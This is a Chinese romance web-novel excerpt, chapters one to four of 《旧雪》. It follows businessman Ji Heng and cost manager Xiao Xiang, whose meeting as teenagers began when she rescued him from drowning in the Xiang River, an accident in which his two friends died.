《旧雪》
1. 想起
初冬的星城笼罩着一层薄薄的雾，如仙境一般。
伫立在江边的两栋地标高楼望月和摘星，恰似仙境里的仙侣，齐腰没入云端，令人浮想翩翩。
仙侣楼的建筑高度分别是520和479米，不仅加起来等于999寓意美极，还同建筑师和他白月光的身高等比例。如此浪漫的设计加之有心人的深度解读，将这两栋楼神话成了灵验的姻缘树，传闻只要来此打卡必将和所爱之人终成眷属。
传闻未必是真，但总有人深信，例如立坤集团的实际控制人计衡。他不仅信，还特意买了好几层，以办公之名。
计大公子的个人办公室设在望月楼的第19层，全智能装潢，高端时尚。然而在这浓郁科技布局的总裁办公室里，最吸睛的却是一个竹子做的笔筒。
瞧那笔筒做工精简，书刻优美，「祝君好运」四个大字深深入骨。大字右下方泛色的竹子纹路上躲藏着一个又小又浅的「湘」字，若不细看，很难发现。
如此良品，将它摆放在这模块化办公桌最显眼的位置丝毫不觉违和，与周边清一色冷冰冰的高科技产品比肩，不仅没有失色，反而多了一份生气。
此时计衡正端坐在办公椅上审阅一份文件，翻到了签字页，他下意识将手伸到笔筒，却又在握笔的那一刻打住。
他轻轻抬眸，目光落在刻字之上。
下一秒，男人脸色骤沉，纤长的五指瞬间握抱成拳，用突出的关节骨故作凶狠地敲打那个小小的「湘」，嘴里还骂骂咧咧。
敲物如敲某人的头，计衡沉醉于幻想中，没有注意到办公桌上的可视对讲显示器亮了一次又一次。
门外的特助江小白无奈，只好按下紧急门铃。
“叮～”
突如其来的响铃声瞬间将计衡惊醒。他瞅向对讲旁边的监控小屏，镜头下站着立坤集团三大股东，一个个凶神恶煞的样子。
计衡剑眉轻蹙，从容地点开门禁。
“小计啊，那两个项目不能投啊！”
“是啊，投不得，投了会出大事的。至少【等樱园】不能投。你刚回国不知道国内的行情，房地产已经崩盘了！那些曾经横极一时的龙头企业接二连三暴了雷，而且现在人也越来越不想买房，如果赶在这个时候肆意投建，还是纯现金流先建后售，怕是会亏得血本无归。你不能拉着我们给你垫背啊，我们可不当这个冤大头。”
“【拭伤诀】也投不得！影视行业本身还算康健，武侠这个题材虽然冷门，但要是用名家的原著也不是没有爆的可能。可偏偏……偏偏你挑了一篇平平无奇的小IP，作者更是寂寂无名，估计爆的可能性为零。年轻人，我们不知道你出于什么原因，不管出于什么原因都不能感情用事，三思而后行啊！”
“如果你执意要投，那便是冒天下之大不韪。逆天而行，必遭天谴。”
“倒也不至于那么严重。不过损害集体利益确实有点缺德，我是不会同意的。”
“对，我也不会同意，坚决不同意。”
三个股东冲进来就对着计衡一顿输出。
计衡平静地听着，待他们情绪稳定下来后他适才开口：“各位，你们的顾虑我都能理解，但这两个项目我非投不可。”
“你——”
“我独资。”
“你……行啊！那请不要打着立坤的旗号，别影响股票。”
“不行，必须用立坤。”
股东刚要说话，计衡抢先一步，“我独资，但以立坤的名义，亏损我一人承担，盈利大家共享。不知三位意下如何？”
三个老古董面面相觑，心里迅速盘算。不过是借个名头而已，这种不知天高地厚的投资行为说不定还能为公司炒一波热度，横竖是他自己掏钱，也不会造成什么负面影响，稳赚不赔的事，为什么不呢？
几个老狐狸立马变脸，一致肯定计衡的决策，随口鼓励了他两句便离开了。
送走三尊大佛，计衡沉沉地舒了一口气。
股东们说得没错，【等樱园】【拭伤诀】这两个项目确实极有可能亏本，只是他们口中的“本”和他计衡字典里的“本”压根不是一个意思。
为什么非投不可？计衡扭头瞥了一眼对面那栋骷髅似的烂尾楼，果断地在资金审批文件上签了字。
计衡心里十分清楚，他不会亏，不仅不会亏，还会收获满满的。他戳着笔筒笑了笑，起身去到幕墙边晒太阳。
近午时分，阳光彻底穿破雾层。
计衡倚墙而站。俯瞰，视野所现的是这座城市最繁华的地段。
暖阳微醺，引人犯困，计衡不禁打起了哈欠。眨眼间，视线落在一片绿地之上。
那是百年名校长雅中学的田径场，亦是少年情窦初开的地方。
“嘿，小计子，还记得本宫吗？”
“您是从哪里穿越过来的小主？”
“穿……穿越？你不记得我啦？”
“我们认识？”
“不，不认识，当然不认识。我穿越来的，耶耶耶，886～”
“咦~此人多半有病。”
……
中二时代的画面在脑海里浮现，令计衡忍俊不禁。
【到饭点了，去吃饭饭啦。到饭点了，去吃饭饭啦。到……】
美丽的回忆被铃声打破。
闹铃可恨，声音却很可爱，那可是被他储存多年的某人原声。
听到这个声音，计衡有些恍惚，他愣是顿了好几秒适才掏出手机关闭闹钟。
下一秒，电话又响了。
是一串干净的数字。
对待陌生来电，计衡一般是直接挂断。此刻他习惯性准备划向红色拒听，却见归属地是德市，他的指腹猛然刹住。
德市是何处？
那是某人的老家，亦是他的情怀之地。
他鬼使神差地划向绿色接听键。
“喂，您好，请问您是立坤科技的计董计先生吗？”
这声音……和闹铃的音色是一样的！
顷刻间，计衡气血上头。他轻挠领口，竟忘了回复。
“计先生，您在吗？”话那头复道。
再次确定，是同一音色，是他的刻骨铭心。
计衡颤声：“在。”
“您好！我是MD新材料公司的成本经理萧湘。我们公司想要采购一批贵司制造的机电设备，可否麻烦您帮忙报个价？”
萧湘！真的是她。
只是她方才说的是计董计先生，这是什么称呼？计衡不禁心生好奇：“可以。但我有个问题。”
这声音怎么这么熟悉？萧湘皱了皱眼皮。来不及多想，她微笑回应：“您说。”
“你是怎么找到我的？”
“是我同行的朋友推荐的。他说他们公司曾经跟您合作过，合作得非常愉快，所以把您推荐给了我。”
其实号码是总监罗豪给的，对方这么问，想必途径并不透明，于是萧湘不好直言，便换了个说法回答。
听到萧湘的说辞，计衡明白了，他低声轻哧，“好。你把询价单发给我，我安排报价。”
“好的好的。您看您怎么方便，微信、电邮，还是其他？”
“微信吧。就这个号码。”
“好的，非常感谢！那您先忙，稍后我会把询价单发给您，麻烦您抽空回复一下。”
“行。”
出于对对方的尊重，萧湘等他挂断电话。她放下手机，用电脑端搜索对方微信。
输入号码，蹦出一个名片——
昵称：五个句号。
头像：一只微笑的
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棕色中华田园犬。
其他：无。
啊！这……
罗豪说这位计先生可是个销售！入行四年，萧湘与之打交道的供应商不在少数，他们的昵称不是字母A开头，就是头像即产品，她还是头一回见过如此佛系的销售名片。
管它呢，能办事儿就行。
萧湘懒得多想，写好备注发送好友请求。
竟然是个企业微信！计衡撇嘴通过。
收到消息，萧湘问了声好，便将提前做好的询价单直接发了过去。
事情办妥了，按理说应该高兴才是，可萧湘心里老感觉不对劲儿，却又说不出所以然来。不待她细思，私人手机来了个视频电话，是好友舒蝶。
萧湘美滋滋地划开接听。
“舒大小姐，这个点打给我是想请我吃香喝辣吗？”
“没错，你猜对了，就是为了请你吃香喝辣。”
“真的假的？”萧湘不敢相信，毕竟作为曾经最好的朋友，回国一个月多了，同在一座城都还没有约过见面。
“嗯，我要结婚了。”
她结婚，和谁？
还能和谁，当然是计衡。
认识舒蝶十一年，虽然已经七八年没有见过面了，但他们一直保持着联系。萧湘从未听她提起过她除了计衡还有第二个男朋友，而且他们这一对还是她萧湘穿针引线促成的。
遥想当年，萧湘的心忽然泛起阵阵酸痛，可表面却仍然挂着笑容。
“恭喜恭喜啊，你们两个终于修成正果了。”
舒蝶愣了两秒，继而笑道：“谢谢啦！我们的日子定元旦节前一天，一年的最后一天，寓意非凡，你懂的。”
“懂懂懂。”萧湘笑说，“地点呢？”
“地点在望月天际酒店。就是那天是工作日，不知道你方不方便。”
“方便方便。恰巧我单位今天刚搬来望月楼办公，非常方便。”
“呵呵～太好了。那婚礼见？”
“婚礼见。”
挂断视频，萧湘昂起头闭上眼睛深深吐气。
最好的朋友要结婚了，没有邀请自己当伴娘。
深深藏在青春里的人，即将成为别人的新郎。
此时此刻萧湘自己也说不清自己是什么心情。她垂下头，用双手捏了捏自己的脸颊，直到扯出一个微笑。
“下去吃饭饭去喽～”萧湘自言自语。
临走前，她扫了一眼桌面，发现方才用过的工作手机竟然还没有息屏。她记得自己设置的是三十秒息屏，距离结束使用已经三分钟都不止了。
哦No，一不小心就被人“监听”了！
萧湘轻咬嘴唇，怪自己粗心。她小心翼翼地将工作手机放进抽屉，而后拿着私人手机下楼觅食。
与此同时，望月楼十九层。男人挂断电话，提起外套，急匆匆下楼。
星城是个多元化的城市，工业、文娱和美食并驾齐驱。
时隔四年再次回到这座城市，时移事易，萧湘不甚熟悉。
走在熙熙攘攘的大街上，记忆像是着了火，引燃萧湘死去的青春。
当年她之所以来这里，后来又之所以离开这里，皆是因为某个人。
那个人，正是计衡。
如今他将彻底属于别人，他们永远没有可能。
曾经活在我幻想里的人啊，余生我们继续装作陌生。祝你幸福，永远幸福！
萧湘在心里默祝。
不知不觉中，萧湘竟走到了母校长雅中学的校门口。
她仰起头，静静注视门上的牌匾。
许久。
她取下脖子上戴了整整八年的计衡送她的紫玉，果断将它扔进身旁的垃圾桶。
“故事从这里开始，就让它在这里结束吧！”
2. 逐梦
星城的初秋格外火辣，它摇摆着八月份的尾巴肆意张扬地舞在烈日之下。
面对骄阳的炙吻，城市大道两旁的香樟掀起层层热浪，羞出阵阵清香。
公交车穿过一片绿荫驶入跨江大桥。
萧湘轻轻推开身旁的窗，江风扑面而来，带着些许江水的腥味儿。
“湘江，湘江！爸爸，快看，这就是湘江。”见到书本里的地名，萧湘激动不已。
正打着瞌睡的萧青云被女儿的嗓音惊醒，他眯了眯眼睛偏头望向车窗外波光粼粼的江面，呲声一笑，“我当然知道，你爸爸我年轻的时候还围着这条江走过呢！”
“真的吗？”
“当然是真的。不然你以为你的名字是怎么来的。”
原来如此呀！萧湘豁然而笑，头枕着车窗继续欣赏沿途的风光。
因为一个人，萧湘很早便爱上了这座城，她想与之亲近，故没有乘轻便快捷的地铁，而是选择坐这既可以观景又可以呼吸新鲜空气的公交车。
眺望橘洲尽头，萧湘的思绪不禁飘走，飘到她的梦寐以求——
匆匆夏雨之后，她和那人在彩虹桥下重逢。相视一笑，话岁月静好。并肩漫步，共沐江风，一起看夕阳将大地染红……
【叮~长雅中学，到了】
“湘湘，到了。”
公交车的报站机械声和爸爸的叫唤声同时响起。
萧湘立即回神。她背起书包推着行李箱下车，和爸爸一同踏进这座敬仰已久的百年学府。
长雅中学是整个湘省最好的中学，因为跨市，萧湘原本是没有报考资格的，今年恰逢百年校庆，学校特地面向全省选拔出50名成绩优异的贫困应届中考生组成特优（特困、优异）班，并且免除三年学杂费。
萧湘便是这50个幸运儿之一。
能上这所学校，萧湘从前想都不敢想，如今成为了其中一员她特别荣幸，嘴角的弧度收都收不拢。
萧青云却不似女儿满心欢喜，自来到这座城他就很不安心，他不甚在意风景，倒是将来来往往的人们打量得紧。瞧着别的家长各个衣着光鲜，唯有他穿得破旧不堪。他难为情地看了女儿一眼，却见女儿正认认真真地观景，眼里心里全是这里。想起昨晚无意间看到的女儿写的那本《奋斗笔记》，他摇头苦涩地笑了笑，默默跟在女儿身后，有意地和她拉开距离。
萧湘在车上就感觉到了爸爸的异样，她太了解她的爸爸，表面乐观开朗其实内心自卑得很。
顾及爸爸的自尊，萧湘装作若无其事。
传闻长雅中学不仅是全省成绩最优的学府，还是隐形的贵族学校，在这里读书的人非富即贵，而自己在特优班，对比明显，反差强烈。
有差异又如何？
萧湘从来不觉自己出身贫寒就低人一等，她是来读书不是来攀比的，就算要攀比也是比学习成绩，比学习成绩，她无畏无惧。
萧湘仰起头看了一眼天空，停下来等爸爸上前。
“怎么样爸爸，我们学校壮观吧？”
“壮观，太壮观了。”萧青云的回答很是敷衍。
萧湘继续装着看不懂的样子，一边走着一边乐呵呵地说：“我真的好喜欢这里哦！”
爸爸点头笑笑，没有做声。
原以为爸爸单纯只是因为自卑，现下看来可能还有别的原因。是什么原因呢？萧湘一时揣测不出，只是见爸爸不悦她也收起了看风景的心思，默默前行。
学校地处市中心寸土寸金，占地面积不大，很快就到了萧湘的第一目的地——女生宿舍楼。
萧湘的宿舍在B3栋顶层，看着就累人，她想让爸爸找个地方休息下她自己先上去放行李，可爸爸先开了口。
“湘湘，你们女孩子家家住的地方爸爸就不上去了，我还得赶回家的大巴，你一个人搬这些东西可以吗？”
萧湘闪里闪过一丝难受，转而微笑道：“可以的爸爸。您坐车注意安全，到家后给我发个信息报下平安。”
独自出门在外，加之长雅不禁电子产品，爸爸特地给她买了一部喜欢的手机。
萧青云点头，“好。”
萧湘伸手去接爸爸手里的土特产，却见他无意识地收了一下。
“爸！”
萧青云垂下目光，“这些油炸鱼也不是什么好东西，喜欢吃就吃，不喜欢吃就扔了。”
萧湘眉睫不觉一颤，转瞬笑眯眯地说：“我当然喜欢吃呀！我还打算用它来交新朋友呢，怎么可能扔呢！”
“那就好。”
萧青云松手将袋子递给萧湘，转身离去。
刹那间，朱自清父亲的《背影》在萧湘的脑海闪现，竟与眼前爸爸的身形重合。
一样地伟岸，一样地辛酸。
“爸爸——”
女儿突然大呼，萧青云闻声止步，却没有回头。
“爸爸，我一定会好好读书，将来让您穿上光鲜亮丽的衣服，开豪华的车子。”萧湘对着爸爸的背影说。
萧青云抹了抹湿润的眼角，微微侧身，“好，爸爸等你。”
萧湘仰起头使劲眨了眨眼睛，转身准备冲进宿舍楼，却听爸爸在她身后补充了一句：“湘啊，这三年把心思都放在学习上。”
萧湘微怔，回眸笑应：“那是自然，爸爸放心。”
萧湘不知爸爸其实话里有话，只当是平日里他说过多得不能再多的一句叮嘱。
朝气蓬勃的少女迈着轻快地步伐奔去，奔向属于她的未知的将来。
老父亲悄悄回头，目送女儿上楼。
整理完所有内务已过下午三点。
明天才正式开学，萧湘想着不如趁机到处走走，好好看看这座梦中之城。
站在川流不息的街头，萧湘继续她低价游城的妙招——乘坐城市长线公交车，兜风观景两不误。
于是乎，萧湘开启了半日穷游之旅。
都说大都市是小县城比不得的，萧湘却不以为然，她生活的小县城里也有车水马龙，也有上百米的高楼，也有商场和超市。
唯一没有的，是他。
他，和她相遇在懵懂的年纪，可惜他只是匆匆路过而已，却被情窦初开的她偷偷藏进了心里，写进了她的《奋斗笔记》，成为她摆脱某个标签的最大动力。
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……
“我来了，你在哪里呢？”萧湘抚窗轻问。
望着窗外匆匆而过的行人，萧湘揉了揉被风吹得发痒的眼睛。
清晨为了赶车起得早了些，这会儿又吹了这么久的风，她感觉有点犯困，打算先小眯一会儿。刚闭上眼，恰逢公交车停站，上来了三个少年，他们并肩坐在最后一排，也就是萧湘的后面。
少年的出现原本与萧湘无关，偏偏他们一上车就叽叽喳喳个不停，吵得她没办法好好休息，只得继续闭着眼睛被迫听他们聊天。
少年甲：“明天又要进笼子了，兄弟们，珍惜最后的自由啊！”
少年乙：“咦，外面热得要死。要我说，这个天就适合待在水里面。”
少年甲：“同意！可是去哪里呢？我可不想去游泳馆，太没意思了。”
少年乙：“确实，我也觉得游泳馆没意思。”
一直没有吭声的少年丙：“要不玩点刺激的，夜游湘江怎么样？”
“好啊！”少年甲、乙齐齐打着响指赞同。
……
因为困极，听着听着，萧湘不知不觉还是睡着了，一觉睡到了终点站，睡到肚子都饿了。萧湘掐着预算美美地犒劳了自己的胃，而后继续乘车游观。
直到夜暮，萧湘适才换了一种“轻奢”的交通方式——骑共享电单车。
沿江骑行，尽情观赏璀璨的星城夜景。
萧湘一路哼着歌，好不快活。
晚风轻拂，撩动少女的发丝，她腾出一只握龙头的手将凌散的发挽到鬓后，余光里好似有人在江中冲自己招手。
莫非有人落水？
萧湘的心一噔。她急忙刹住单车，目光凭直觉投向江中。
还真是！就在离岸边十多米处，有双手在疯狂地拍打江水，脑袋起起伏伏，不像是在游泳。
萧湘扫了一眼周边，散步的人们都已经回家，此地道路虽然畅通但离急救中心很有很长一段距离，若是请求外援怕是江里那人等不起。
考虑到自己家住湖区，从小熟悉水性，萧湘立即将单车停在一边，脱掉鞋子准备下水救人。
就在起跳的那一刹那，她的脑子里突然冒出一个声音：你确定你能行？
这一问，让救人心切的萧湘瞬间清醒。
是啊，这可是湘江！自己虽然会游泳，也有过水中救人的经验，但只是在家乡的小湖小河里小打小闹，眼前面对的可是浩浩汤汤的长江支流。
下去吗？下去了可能连自己都会上不来。
不管吗？外号萧女侠，焉能见死不救呀！
“嘭嘭嘭~”
是那人起伏在水中胡乱扑腾的声音，听起来格外动魄惊心。
来不及了，真的来不及了！
光着脚丫踩在地面尚且感觉寒凉，长时间泡在江里可想而知。
萧湘紧紧握拳，垂着眸子深深地吸了一口气，随即果断掏出手机拨通119，快速地将现场情况向消防员一通阐述。
挂断电话，萧湘仰起头对着夜空哽咽高呼：“爸爸、奶奶，对不起了！”
丢下话，少女毅然决然跃入江中。
3. 溺水
双腿在江水里抽筋的计衡感觉到有人靠近，出于求生的本能，他一把将人拽住，借力仰起头狠狠地呼吸。
被计衡那样一拽，萧湘呛了好几口江水。她迅速将他撂下，猛地摆动脑袋甩开眼睛上的水，不待视觉恢复迅速开始实施营救。
方才尝到新鲜空气的计衡稍稍恢复了一丝意识，眼看来了救命稻草，他便拼命地抓住。他非常有分寸地紧紧抱住萧湘的腰肢，贴在她的身后，尽最大的努力不给正在对他施救的她增添多余的麻烦。
虽是在水里，触觉相对不那么敏感，可萧湘从小到大就抗拒与人亲密接触。计衡这一抱，令她浑身不自在。不过在此生死存亡之际，她也顾不了那么多，倒是被他这么一接触，她的脑子变得格外清晰，促使她连带着他奋力地向岸边游去。
短短的十几秒，萧湘换了多种游泳姿势。若非生命垂危激发了潜能，她自己都不敢相信自己的泳技竟如此“出神入化”。
终于要上岸了！
可水面和路面还有将近一米的竖向距离，而背上的人越来越沉，怕是马上要坚持不住松开了。此时他们都已经筋疲力尽，若是不能迅速上岸，两个人都会有生命危险。
怎么办？马上就要成功了，总不可能在最后的关头放弃他吧？
命系一线，萧湘紧咬牙关。她一只手托着昏昏沉沉的少年，另一只手紧紧抠着岸上的水泥边沿，脚趾头踩在岸壁上使劲地钻着泥土，试图钻出牢固的落脚点。
不知脚趾流了多少血，也不知手被磨破了多少口子，此时的萧湘没有多余的精力思量其他，她的心中只有一个信念，那就是上岸，一定要上岸！
背上颤颠的少年嘴抵在水平面，竟尝到了淡淡地血腥味儿。他被震出了一缕意志，配合着少女拼命地伸手，试图握抓岸上之物。
然而，无济于事。
既然如此，便不能再拖累别人！计衡忽然使出一股力，一股推开萧湘的力。
虚弱的计衡体力所剩无几，力道微弱得可怜，但萧湘还是觉察到了。那一瞬间，她感觉自己下来这一趟值得，让几近崩溃的她又燃气了希望。
江水和泪水在荡漾中交融。
萧湘放空大脑，凭借强大的求生欲一鼓作气向上腾起。上升时还真让她找到了一个借力点，她踩在点上转了下臂，蓄集全身气力将少年往岸上推去。
终于，她成功了！
释掉重负，萧湘自己却在力的反作用下被推离岸边，全身重新没入水中。
下去了吗？
不能就这样沉下去啊！
生养之恩未报，梦想也还没有实现，这辈子不能就这样过完，不能呀！
不甘赴死的身躯不断地向萧湘的大脑输送请求，促使她的潜意识疯狂蓄力。
一缕，
两缕，
三缕四缕……
忽然间，好似有一股无形的力量在推动，使得萧湘竟神奇地攀上了岸，而她已然不记得自己是怎么上来的。
不管了，总算是平安了！累极的萧湘席地而躺。
她刚眯上眼睛，忽地想起岸口还有一个人，困顿的身体瞬间惊坐起。
她爬到少年身边，全身不停颤抖。
月光、路灯还有城市高层建筑的室外照明，地方其实还算敞亮，可是她的眼睛好像出了问题，视线模模糊糊。她看不清少年的五官，也没有闲工夫看。见他已经陷入昏睡，她便先帮他放气，清除口鼻中的异物。
开放气道之后，救援队尚未赶到，这人也还没有苏醒，看来必须给他做人工呼吸才行。
丫的，方才在水里献出了初抱也就算了，眼下还不得不献出初吻，可恶！
萧湘冲地上的少年轻嗔一句：“别让我再遇见你。”
然后，人工呼吸。
虽然从前有救过溺水之人，但做人工呼吸还是第一次，萧湘没有经验，只能调出脑子里储存理论知识。
毕竟是十五岁的少女，第一次与人如此亲密接触，萧湘难免拘谨。她笨拙地捏住少年的鼻子，微微提动他的面部，轻轻打开他的嘴。她深深地吸一口气，将自己的嘴完全包住他的嘴，然后闭上眼睛均匀地向他吹气。
“呼～”
一口气下去，少年一动不动。
萧湘想着定是一次不够，于是换了一口气重新再来。
有了第一次的经验后，萧湘便不再羞羞答答，此时的她一边专心吹气，一边用余光观察少年的动静。
老天保佑，地上的人身体终于有了反应，他的胸廓起来了，只是呼吸还是很微弱。
萧湘见状立即停止人工呼吸，给他做她在行的胸外按压心肺复苏。
强烈的动作将计衡脖子上的紫玉从及颈泳衣里震了出来。
此时的萧湘早已不知疲惫，她一心一意疯狂地按书本上的理论知识循环施救，全然没想其他。她嫌那饰物碍事，于是转了一把绳子，将那块冰冷的玉塞到少年的后颈下面。
反反复复多次，少年的胸膛终于恢复正常起伏。
“呜呜～呜呜～呜呜呜……”
救援车也刚好在这个时候赶了过来。
萧湘迅速起身。她才刚失去“初抱”和“初吻”，可不想再让别人看到自己湿漉漉透明的一身。她速速穿好鞋子，快步跨上电单车，右手一拧，嗖的一下骑走了。
夜幕中，少年终于打开眼睛。他用尽全力扭头去看他的救命恩人，却仅仅瞥到一个匆匆而逃的倩影。
怕自己忘记，计衡强制大脑记忆，脑海里不停地回放储存下来的一帧帧场景。
“呲～”
好强的光线，好刺眼睛。
是救援车的车灯，此时它已经靠近。
计衡下意识抬起手遮住上眼皮，垂眸而视时，瞥见胸膛洁白的运动服上沾有些许血渍。
怎会有血？自己身上并未受伤。计衡不禁心下咯噔。他记得当时自己虽然昏迷但尚存一丝意识，女孩为救他所做的种种他略有感知。
知她如何艰难地将自己送上岸，知她为自己做了人工呼吸。
忆及那时唇齿相依……十五六岁的少年头一回胀红了脸，浑然不知救援车已经稳稳停住。
救援人员火速下车，原地拍照取证并给他做了简单的检查，确认基本无碍后方才将他抬上车。
救援车刚要发车，计衡突然惊坐起来。
“我不是一个人，我还有两个同伴，我们是从同一地点下水的！”计衡向救护人员解释。
司机听到，紧急停车。
计衡掏出防水裤兜里的手机点开他们三人的群，群里寂静无声，且从下水后就再也没有一条新消息。
不详的预感遽然上头。
计衡立即拨打同伴的号码。得到的回音都是：您好，您拨打的用户暂时无法接通。
怎么会？他们下水时手机都有做过防水处理，理论上在一定的水深范围内是有信号的。难道……
不秒的感觉越来越强烈。
江中搜救很有难度，计衡不忍为难眼前的三人救援队，他向他们坦诚了他父母的身份，并当着他们的面电联他爸爸妈妈求助。
救援小队见上头会有更好的安排，他们便听从指挥，先行返回。
计皓钦两通电话过去，半个小时后便在计衡他们下水的地方集结了三个打捞队，数十名职业潜水员
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整装待命。
江对面，计衡不停地巡视前后道路，然而始终没有看到同伴的影子。他冷眼扫向江面，呆呆坐在自己上岸的地方。
落单的少年一边回忆自己兴奋提议横游湘江的情景，一边痴痴地盯着对岸潜水员头顶上的星星点点，直到他们全部没入水中。
晚风推波助澜，迫使江水有节奏地拍打岸边，砰砰砰不停地敲击少年紧绷的心弦。
今夜，注定不眠。
——
像是做了什么见不得人的事，萧湘一股脑儿地往前冲，身体完全忽略了初秋的温差。
就在距离学校三公里不到的地方，不知道被什么东西绊了一下，使得她连人带车摔倒在地。
本就疲惫的身躯被这么一摔，简直要了老命，萧湘瘫在地上久久动不得身。
强烈的疼痛感不断刺激萧湘的神经，迫使她从麻木中清醒。她吹了吹摔破的伤口，拍了拍被风干的衣服，一瘸一拐地扶起共享电单车继续骑行。
好巧不巧，单车它罢工了！
“No！”
萧湘无奈，只好先看看附近有没有停车点。她下意识将手伸到口袋里拿手机，结果只掏出一张还未干透的百元现金。
“手机呢？我手机呢？”
萧湘急忙四周寻找。
扫了一圈没有找着，她适才想起当时下水的时候将手机卸在了单车旁边，而走的时候忘记了拿。
“晕！真是祸不单行。”
那可是爸爸一个月的工资呀！
萧湘锤了锤自己的脑瓜子，追悔莫及。她扫了一眼周遭，看到附近有个【星城快警】小岗亭，她推着受伤的单车径直走过去向警察叔叔求助。
人民警察服务人民，不仅帮助萧湘付费锁车，还答应出一人陪同她原路寻找手机。
萧湘被暖到，连忙道谢。
民警摆了摆手，“不用谢，顺路的事。”
“顺路？”
“是啊！接上级指示沿江巡查。说是有三个十几岁的男伢子夜泳湘江出了事，三个只起来了一个，另外两个失联了。”
三个男孩，两个失踪……
不知为何，萧湘听到民警的话后不自觉地联想到白天公交车上的三个少年，以及不久前被她救上来的那位。当时在公交车上，她闭着眼睛没有看他们的脸，只听到他们说要横游湘江。江边救人的时候她累坏了眼睛没有把人看清，现下将这两件事串在一起，好像能够对得上。
不会这么巧吧？
萧湘不寒而栗。
“想什么呢？快上车。”
民警滴了声警摩催促。
萧湘迅速回神，戴上安全帽跨步上车。她一路紧紧盯着地面，直到到达目的地也没有找到手机。
此时民警和其他分队的民警正好在这里碰头，他们有任务在身，紧急展开工作。萧湘则四处寻找自己的手机。
万幸，她的手机在绿化带找到了。
爸爸的汗水没有白流！
萧湘摩挲着刮花的屏幕，眼里充满了晶莹的液体。
民警表示一时半会儿抽不开身，不能搭她回去，帮她打了一辆出租车。
萧湘深受感动，以标准地军姿向民警诚挚敬礼。
民警回以憨厚一笑，挥了挥手示意她注意安全，然后继续工作。
路途遥远，萧湘心疼昂贵的打车费，当出租车驶入夜生活刚刚开始的繁华市区后她便下了车。由于手机进了水暂时开不了机，她就近寻了个维修店将手机修好后方才步行回校。
漫漫回校路，终于走完了。
“砰～”
少女骤然晕倒在学校门口。
4. 猜测
萧湘晕倒的时候，刚好清北班班主任徐雅薇的车来了出来，后排坐着校长任屹。
“吱嘎～”一声急刹。
“怎么了？”校长问。
徐雅薇握着方向盘的手不停地抖，“我……我好像撞到人了。”
任屹眉心一颤，“赶紧叫救护车。”说着，他立即解开安全带。
“哦哦哦。”徐雅薇急忙掏出手机拨打120求助，同时熄火下车。
门卫大叔见状立马关闭了整个校门口区域的照明和监控系统，继而赶过来查看。
“是我撞的吗？”徐雅薇指着地上的萧湘问门卫。
门卫刚要开口，余光里校门口有几个路人踟蹰。
“你先去忙吧！”任校长平静地对门卫说。
门卫秒懂，立即赶去门口，回头补了一句：“孩子是自己晕倒的。”
此话一出，徐雅薇大大地松了一口气。她打开手机屏幕看了一眼时间，“救护车应该马上就到了，任老您看我们是不是可以先过去？毕竟那边……”
“都是大事儿！”任屹声音低沉却充满震慑力，“先把她扶起来。叫后勤的老师陪护一趟。”
任校长说着便伸手托萧湘的头，试图将她唤醒。徐雅薇则在一旁打开手机手电筒照明，顺手给后勤老师发消息。
灯光下，两人看清了萧湘的脸。
任校长大惊，“是她！”
“谁？”
任校长提起小臂看了一眼手表，给特优班班主任梁锡如发了一条消息：【你们班的萧湘同学在校门口不慎晕倒，正在送往中医院。你联系一下学生家长，报个平安先。】
发完消息，校长适才回复：“是沧浪那个孩子，特优班的萧湘。”
徐雅薇虽然没有见过萧湘，但她听说过沧浪有个特别的孩子，她知道任校长之所以确定实施招生改革正是因为那个孩子。
其实三年前任校长就萌生了成立特优班的想法，只是一直没有践行。直到一年前他去了沧浪县考察，途径一所乡镇中学，恰逢他们的开学大典。当时萧湘作为初三年级代表发言，举止从容，仪态大方，陈辞慷慨激昂，颇有风范。少年强则国强！那一刻任屹便坚定了成立特优班的想法，并且跟校方点名邀请萧湘同学加入。
“原来是她。”
这下徐雅薇可犯难了，走也不是，不走也不是。
这边虽然没有撞到人，可毕竟人家孩子倒在了自己车前，还是校长欣赏的学生。
那边三个又都是得不起的主儿，开学第一天就有两个生死未卜一个昏迷不醒，急需她过去给个交代。
“呜呜，呜呜，呜呜呜～”
救护车来了。
徐雅薇适才想到了一个两全之策：“任老，要不我把车停回去，我们一起坐救护车去中医院？”
“嗯，可以。”校长应。
长雅中学地处市中心，附近就有一家大医院，故而救护车响应如此迅速。
医护人员速速下来，将萧湘平稳地放在担架上推上车，简单地给她做了一番基础检查。
“暂时只发现这位学生身上有一些跌打损伤，其他一切正常。不过我们只是做了基础检查，不确定有没有内部伤害，需要去医院进一步检查，排除内伤可能。”医生说。
任校长点头，“好。去中医院吧！”
“行。”医生瞧了一眼任屹。长雅中学的校长，在手机里见过的，他做过很多业绩，很受市民尊重，于是补充：“两位是要一同陪护吗？”
原则上救护车只能坐一位陪护。
徐雅薇看向任屹，任屹冲她点了点头，她回复医生：“是的。”
“好，那就上车吧。”
特殊情况可以超员。
到了医院，萧湘被交给同时赶来的后勤女老师陪护检查，任校长和徐老师则急冲冲地赶去住院楼。
住院楼六楼3号病房。
“我这傻儿子！明明已经被救上来，他为什么还要往江里跳呢？”年近花甲的计衡妈妈杨淑华望着病床上的计衡泣不成声。
“救他上来的民警说，他为了捡个什么东西。”计衡爸爸计皓钦解释。
“捡什么东西？有什么东西值得他堵上性命去捡？”
“不清楚。你先调整一下心情，等儿子醒来了再问也不迟。”
“什么时候才能醒啊？”
“会醒的，医生说他只是太累了。”计皓钦看向计衡，声音加沉：“他还好，捡回来一条命，那两个孩子却……哎！”
“他们怎么了？”
计衡突然发声。
“谢天谢地，我儿终于醒来了。”杨淑华含泪握住计衡的手，激动得她浑身哆嗦。
计皓钦搂了搂妻子的肩，看着儿子眼里直冒液体。
“他们究竟怎么样了？”计衡再次发问。
眼看着儿子坐起来就要下床，夫妻俩对视一眼，刚打算告诉他，却见任校长和徐老师刚好赶了过来。
他们立即收起情绪，三对二，面带微笑互相用眼神示好。
末了，计皓钦招呼计衡：“出去走走看，看还有没有哪里不舒服。”
计衡知道他们是有事商量，故意把他支走。
什么事非得大晚上把两位校领导叫到医院来说？计衡捏紧双手，心里大概明白了——他的两位朋友定是凶多吉少！
计衡听话地走出病房，假装走远，然后折回来贴在门口偷听。
“两个都捞上来了，正在等法医鉴定……”
果然！！！
闻讯，计衡瞬间双腿发软，瘫倒在地。
我未杀伯仁，伯仁却因为而死！
强烈的负罪感愤涌而出，像是被尖刀刺进心口，痛得计衡生气全无。他搀扶着墙壁一瘸一拐不明方向地往下冲、往外冲。
“嘶～”撞到一位女士。
“对不起。”计衡扔下三个字就准备继续往前走。
“计衡？”
